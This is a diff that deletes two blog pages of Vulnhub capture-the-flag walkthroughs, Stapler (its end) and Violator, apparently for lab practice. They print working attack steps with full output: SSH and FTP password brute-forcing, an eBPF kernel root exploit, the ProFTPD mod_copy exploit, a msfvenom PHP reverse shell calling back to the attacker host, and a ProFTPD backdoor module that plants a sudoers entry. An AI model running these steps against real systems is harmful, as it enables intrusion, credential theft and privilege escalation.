-[DATA] max 16 tasks per 1 server, overall 64 tasks, 183 login tries (l:61/p:3), ~0 tries per task
-[DATA] attacking service ssh on port 22
-[22][ssh] host: 192.168.1.135 login: SHayslett password: SHayslett
-
-
-
-
Then once I determined the release I went over to http://exploit-db.com and searched “ubuntu 16.04” and found this: https://www.exploit-db.com/exploits/39772/
-
-
Now for the exploit:
-
-
paul@archyoga [05:50:44] [~]
--> % ssh SHayslett@192.168.1.135
------------------------------------------------------------------
-~ Barry, don't forget to put a message here ~
------------------------------------------------------------------
-SHayslett@192.168.1.135's password:
-Welcome back!
-
-
-SHayslett@red:~$ lsb_release -a
-No LSB modules are available.
-Distributor ID: Ubuntu
-Description: Ubuntu 16.04 LTS
-Release: 16.04
-Codename: xenial
-SHayslett@red:~$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
---2016-06-19 18:49:36-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
-Resolving github.com (github.com)... 192.30.252.130
-Connecting to github.com (github.com)|192.30.252.130|:443... connected.
-HTTP request sent, awaiting response... 302 Found
-Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip [following]
---2016-06-19 18:49:36-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip
-Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.44.133
-Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.44.133|:443... connected.
-HTTP request sent, awaiting response... 200 OK
-Length: 7115 (6.9K) [application/zip]
-Saving to: ‘39772.zip’
-
-39772.zip 100%[=====================================================================================================================================================================================================>] 6.95K --.-KB/s in 0s
-
-2016-06-19 18:49:37 (94.2 MB/s) - ‘39772.zip’ saved [7115/7115]
-
-SHayslett@red:~/tmp$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/splo
---2016-06-19 18:52:05-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploi
-Resolving github.com (github.com)... 192.30.252.128
-Connecting to github.com (github.com)|192.30.252.128|:443... connected.
-HTTP request sent, awaiting response... 302 Found
-Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/3
---2016-06-19 18:52:05-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/m
-Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.46.133
-Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.46.133|:443... connected.
-HTTP request sent, awaiting response... 200 OK
-Length: 7115 (6.9K) [application/zip]
-Saving to: ‘39772.zip’
-
-39772.zip 100%[=======================
-
-2016-06-19 18:52:05 (4.75 MB/s) - ‘39772.zip’ saved [7115/7115]
-
-SHayslett@red:~/tmp$ unzip *
-Archive: 39772.zip
- creating: 39772/
-.
-.
-.
-SHayslett@red:~/tmp$ cd *2
-SHayslett@red:~/tmp/39772$ ls
-crasher.tar exploit.tar
-SHayslett@red:~/tmp/39772$ tar xf exploit.tar
-SHayslett@red:~/tmp/39772$ ls
-crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
-SHayslett@red:~/tmp/39772$ cd e*
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
-compile.sh doubleput.c hello.c suidhelper.c
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
-doubleput.c: In function ‘make_setuid’:
-doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
- .insns = (__aligned_u64) insns,
- ^
-doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
- .license = (__aligned_u64)""
- ^
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
-compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
-starting writev
-woohoo, got pointer reuse
-writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
-suid file detected, launching rootshell...
-we have root privs now...
-root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
-SHayslett@red:~/tmp/39772$ cd e*
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
-compile.sh doubleput.c hello.c suidhelper.c
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
-doubleput.c: In function ‘make_setuid’:
-doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
- .insns = (__aligned_u64) insns,
- ^
-doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
- .license = (__aligned_u64)""
- ^
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
-compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
-SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
-starting writev
-woohoo, got pointer reuse
-writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
-suid file detected, launching rootshell...
-we have root privs now...
-root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit#
-
-
-
-
This part might be a little hard to read, but all I did was follow the instructions from the exploit page pretty much word for word: https://www.exploit-db.com/exploits/39772/.
-
-
Next, the flag!
-
-
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
-root@red:/root# ls
-fix-wordpress.sh flag.txt issue python.sh wordpress.sql
-root@red:/root# cat flag.txt
-~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
- .-'''''-.
- |'-----'|
- |-.....-|
- | |
- | |
- _,._ | |
- __.o` o`"-. | |
- .-O o `"-.o O )_,._ | |
-( o O o )--.-"`O o"-.`'-----'`
- '--------' ( o O o)
- `----------`
-b6b545dc11b7a270f4bad23432190c75162c4a2b
-
-
-
-
Woo!
-
-
-
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/writeup/violator_walkthrough.html b/_site/writeup/violator_walkthrough.html
deleted file mode 100644
index 0b875bd..0000000
--- a/_site/writeup/violator_walkthrough.html
+++ /dev/null
@@ -1,535 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-Violator: 1, Vulnhub Walkthrough
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Violator: 1, Vulnhub Walkthrough
-
-
-
- posted on 08 Jul 2016 under category writeup
-
-
-
-
Before I begin, here’s some hints given at the start of the vm:
-
-
- Vince Clarke can help you with the Fast Fashion.
- The challenge isn’t over with root. The flag is something special.
- I have put a few trolls in, but only to sport with you.
-
-
-
Get the IP and check for services
-
-
paul@archyoga [04:21:07] [~]
--> % nmap -sn 192.168.1.0/24 | grep violator
-Nmap scan report for violator (192.168.1.108)
-paul@archyoga [04:21:36] [~]
--> % nmap -p- -sV 192.168.1.108
-
-Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-09 16:21 EDT
-
-Nmap scan report for violator (192.168.1.108)
-Host is up (0.0086s latency).
-Not shown: 65533 closed ports
-PORT STATE SERVICE VERSION
-21/tcp open ftp ProFTPD 1.3.5rc3
-80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
-Service Info: OS: Unix
-
-Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
-Nmap done: 1 IP address (1 host up) scanned in 23.49 seconds
-
-
-
-
So there’s a website and an proFTPD v1.3.5rc3 server running on the machine. The website just says “I Say.. I say… I say boy! You’re barkin up the wrong tree!” along with Foghorn Leghorn.
-
-
However, in the source I found this: <-- https://en.wikipedia.org/wiki/Violator_(album) -->
-
-
I found an exploit through http://exploit-db.com for proFTPD 1.3.5 (CVE: 2015-3306) that allows you to copy files without logging into the server:
-
-
I wasn’t sure what to copy, so I just copied anything I could by copying /proc/self/root
to /var/www/html/root
, this making everything except the root user directory accessible:
-
-
paul@archyoga [04:49:25] [~]
--> % ftp 192.168.1.108
-Connected to 192.168.1.108.
-220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.1.108]
-Name (192.168.1.108:paul):
-331 Password required for paul
-Password:
-530 Login incorrect.
-ftp: Login failed.
-Remote system type is UNIX.
-Using binary mode to transfer files.
-ftp> site cpfr /proc/self/root
-350 File or directory exists, ready for destination name
-ftp> site cpto /var/www/html/root
-250 Copy successful
-ftp>
-
-
-
-
Now you can easily see /etc/passwd
, all the home directories, and /etc/group
to determine what to do next.
-
-
dg:x:1000:1000:Dave Gahan,,,:/home/dg:/bin/bash
-proftpd:x:104:65534::/var/run/proftpd:/bin/false
-ftp:x:105:65534::/srv/ftp:/bin/false
-mg:x:1001:1001:Martin Gore:/home/mg:/bin/bash
-af:x:1002:1002:Andrew Fletcher:/home/af:/bin/bash
-aw:x:1003:1003:Alan Wilder:/home/aw:/bin/bash
-
-
-
-
Notice dg, mg, af, and aw
, who are all members of Depeche Mode, which was referenced in an initial hint. I spent quite some time traversing their home directories, however I didn’t have enough information to do anything yet. I found instructions for a Wermache enigma machine and some other hints, but I still needed key. I’ll come back to this part in more detail later.
-
-
Get access to the server
-
-
In /etc/group
, I can see that user dg
is a member of several groups, so let’s try to crack that password:
-
-
The only possible solution I have for this is the link to the album for Violator.
-
-
paul@archyoga [06:13:59] [~]
--> % cewl "https://en.wikipedia.org/wiki/Violator_(album)" -m 6 -w passwords.txt
-CeWL 5.1 Robin Wood (robin@digi.ninja) (http://digi.ninja)
-
-paul@archyoga [06:23:38] [~]
--> % tr '[:upper:]' '[:lower:]' < passwords.txt > passwords1.txt
-
-paul@archyoga [06:23:40] [~]
--> % sed -i "s/ //g" passwords1.txt
-
-paul@archyoga [06:23:42] [~]
--> % hydra -t 1 -l dg -P ./passwords1.txt -vV 192.168.1.108 ftp
-Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
-
-...
-[21][ftp] host: 192.168.1.108 login: dg password: policyoftruth
-[STATUS] attack finished for 192.168.1.108 (valid pair found)
-1 of 1 target successfully completed, 1 valid password found
-
-
-
-
First I used cewl to generate a password list based on the given url, then removed all the spaces and converted everything to lowercase using tr
and sed
.
-
-
Now that I can actually create new files in the server, I generated a reverse php shell and used metasploit to get a shell on the machine:
-
-
paul@archyoga [11:03:11] [~]
--> % msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=1337 R > exploit.php
-fatal: Not a git repository (or any of the parent directories): .git
-No platform was selected, choosing Msf::Module::Platform::PHP from the payload
-No Arch selected, selecting Arch: php from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 949 bytes
-
-
-paul@archyoga [11:03:15] [~]
--> % ftp 192.168.1.108
-Connected to 192.168.1.108.
-220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.1.108]
-Name (192.168.1.108:paul): dg
-331 Password required for dg
-Password:
-230 User dg logged in
-Remote system type is UNIX.
-Using binary mode to transfer files.
-ftp> cd /var/www/html/
-250 CWD command successful
-ftp> put exploit.php
-200 PORT command successful
-150 Opening BINARY mode data connection for exploit.php
-226 Transfer complete
-949 bytes sent in 6.8e-05 seconds (13.3 Mbytes/s)
-ftp> 221 Goodbye.
-
-paul@archyoga [11:04:14] [~]
--> % msfconsole
-
-...
-msf > use exploit/multi/handler
-msf exploit(handler) > set lhost 192.168.1.109
-lhost => 192.168.1.109
-msf exploit(handler) > set lport 1337
-lport => 1337
-msf exploit(handler) > set payload php/meterpreter/reverse_tcp
-payload => php/meterpreter/reverse_tcp
-msf exploit(handler) > exploit
-
-[*] Started reverse TCP handler on 192.168.1.109:1337
-[*] Starting the payload handler...
-[*] Sending stage (33721 bytes) to 192.168.1.108
-[*] Meterpreter session 1 opened (192.168.1.109:1337 -> 192.168.1.108:43369) at 2016-07-09 23:05:11 -0400
-meterpreter > shell
-Process 1314 created.
-Channel 1 created.
-python -c 'import pty;pty.spawn("/bin/sh")'
-$ su dg
-su dg
-Password: policyoftruth
-
-dg@violator:/var/www/html$
-
-
-
-
If you don’t have much experience with metasploit (especially reverse shells), you should probably research that to get used to it.
-
-
Getting Root
-
-
Now, back to the home directories, if you go to http://192.168.1.108/root/home
there’s 4 directories for each of the 4 suspicious users we saw earlier: af, aw, dg, mg
. The directory for af contains minarke, a terminal based enigma emulator, which is suprisingly difficult to use, aw contains a hint reading You are getting close... Can you crack the final enigma..?Y
, mg contains instructions for a Wermacht enigma machine, and dg contains a very small filesystem with proftpd isntalled.
-
-
Running sudo -l
shows that user dg
has permissions to run proftpd in this directory, however it only allows connections from 127.0.0.1. Once I ran it, I found out it is proftpd 1.3.3c.
-
-
dg@violator:/var/www/html$ sudo -l
-sudo -l
-Matching Defaults entries for dg on violator:
- env_reset, mail_badpass,
- secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
-
-User dg may run the following commands on violator:
- (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd
-dg@violator:~/bd/sbin$ sudo /home/dg/bd/sbin/proftpd
-sudo /home/dg/bd/sbin/proftpd
- - setting default address to 127.0.0.1
-localhost - SocketBindTight in effect, ignoring DefaultServer
-dg@violator:/var/www/html$ ftp localhost 2121
-ftp localhost 2121
-ftp: connect to address ::1: Connection refused
-Trying 127.0.0.1...
-Connected to localhost.
-220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) [127.0.0.1]
-
-
-
-
Then I added a port forward through metasploit so I could access it on my local machine:
-
-
dg@violator:/var/www/html$ ^C
-Terminate channel 0? [y/N] N
-[-] core_channel_interact: Operation failed: 1
-meterpreter > portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
-[*] Local TCP relay created: 127.0.0.1:2121 <-> 127.0.0.1:2121
-meterpreter >
-
-
-
-
Now you can access the internal proftpd server v1.3.3c from your machine:
-
-
paul@archyoga [01:45:03] [~]
--> % telnet 127.0.0.1 2121
-Trying 127.0.0.1...
-Connected to 127.0.0.1.
-Escape character is '^]'.
-220 ProFTPD 1.3.3c Server (Depeche Mode Violator Server) [127.0.0.1]
-user dg
-331 Password required for dg
-pass policyoftruth
-230 User dg logged in
-
-
-
-
Now that I have metasploit port forwarding the ftp connection and I’m connected to it, I can use the exploit in proftpd 1.3.3c https://www.exploit-db.com/exploits/15662/ with the metasploit module exploit/unix/ftp/proftpd_133c_backdoor
along with the payload /cmd/unix/generic
-
-
First in the using the shell I wrote dg ALL=(ALL:ALL) ALL
to /tmp/exploit
since I’m using that to get root. Then I used the proftpd v1.3.3c exploit to actually copy it to the right directory:
-
-
msf > use exploit/unix/ftp/proftpd_133c_backdoor
-msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1
-rhost => 127.0.0.1
-msf exploit(proftpd_133c_backdoor) > set rport 2121
-rport => 2121
-msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/generic
-payload => cmd/unix/generic
-msf exploit(proftpd_133c_backdoor) > set cmd chmod 0440 /tmp/exploit && cp /tmp/exploit /etc/sudoers.d
-cmd => chmod 0440 /tmp/exploit && cp /tmp/exploit /etc/sudoers.d
-msf exploit(proftpd_133c_backdoor) > exploit
-
-[*] 127.0.0.1:2121 - Sending Backdoor Command
-[*] Exploit completed, but no session was created.
-
-
-
-
dg@violator:/var/www/html$ sudo -l
-
-...
-User dg may run the following commands on violator:
- (ALL : ALL) ALL
- (ALL) NOPASSWD: /home/dg/bd/sbin/proftpd
-dg@violator:/var/www/html$ sudo su
-sudo su
-[sudo] password for dg: policyoftruth
-
-root@violator:/var/www/html# cd /root
-cd /root
-root@violator:~# ls
-ls
-flag.txt
-root@violator:~# cat flag.txt
-cat flag.txt
-I say... I say... I say boy! Pumping for oil or something...?
----Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
-
-
-
-
And that get’s us the flag! Now for the final enigma .
-
-
The Final Enigma
-
-
Within the root folder there’s also a suspicious directory .basildon
containing crocs.rar
-
-
root@violator:~# ls -a
-ls -a
-. .. .bash_history .bashrc .basildon flag.txt .profile
-root@violator:~# cd .basildon
-cd .basildon
-root@violator:~/.basildon# ls -a
-ls -a
-. .. crocs.rar
-root@violator:~/.basildon# cp crocs.rar /var/www/html/
-cp crocs.rar /var/www/html/
-
-
-
-
Back on my local machine, I can see the contents of crocs.rar are password protected
-
-
paul@archyoga [02:17:20] [~/Downloads]
--> % unrar e crocs.rar
-
-...
-Enter password (will not be echoed) for artwork.jpg:
-
-
-
-
I tried using the password list from eariler, but that didn’t work so I did some googling about crocs and Depeche Mode and found out it is a night club they play at, so I added songs from that to the list and tried it again, and that didn’t work either. I wasn’t sure what else to try, so I regenerated the password list except didn’t take any spaces out or change anything to lowercase, and sure enough it worked!
-
-
paul@archyoga [02:21:49] [~/Downloads]
--> % rar2john crocs.rar > myhash
-paul@archyoga [02:25:11] [~/Downloads]
--> % rar2john myhash --wordlist=~/passwords4.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
-Press 'q' or Ctrl-C to abort, almost any other key for status
-World in My Eyes (crocs.rar)
-
-
-
-
Inside crocs.rar
there’s just some album artwork, but running exiftool on it reveals a very suspicoius copyright and rights message:
-
-
UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQ
-LTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWK
-LSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUW
-ISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJM
-FVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLO
-ZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDV
-KFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGP
-FBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIA
-TOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHV
-CRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMW
-RHJEMUSGYBGWXJENRZHZ
-
-
-
-
I’m guessing this is the key for the enigma referenced in the home directories earlier.
-
-
Using the instructions from the mg
home folder I decrypted the code using http://www.dcode.fr/enigma-machine-cipher since the given minarke emulator was confusing to use.
-
-
Lyrics:
-
-* Use Wermacht with 3 rotors
-* Reflector to B
-Initial: A B C
-Alphabet Ring: C B A
-Plug Board A-B, C-D
-
-
-
-
-
-
ONE FINAL CHALLENGE FOR YOU BGHX CONGRATULATIONS FOR
-THE FOURTH TIME ON SNARFING THE FLAG ON VIOLATOR ILL
-PRESUME BY NOW YOULL KNOW WHAT I WAS LISTENING TO WHEN
-CREATING THIS CTF I HAVE INCLUDED THINGS WHICH WERE
-DELIBERATLY AVOIDING THE OBVIOUS ROUTE IN TO KEEP YOU ON
-YOUR TOES ANOTHER THOUGHT TO PONDER IS THAT BY ABUSING
-PERMISSIONS YOU ARE ALSO BY DEFINITION A VIOLATOR
-SHOUTOUTS AGAIN TO VULNHUB FOR HOSTING A GREAT LEARNING
-TOOL A SPECIAL THANKS GOES TO BENR AND GKNSB FOR TESTING
-AND TO GTMLK FOR THE OFFER TO HOST THE CTF AGAIN
-
-
-
-
There you go!
-
-
-
-
-
-
-
-
-
Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-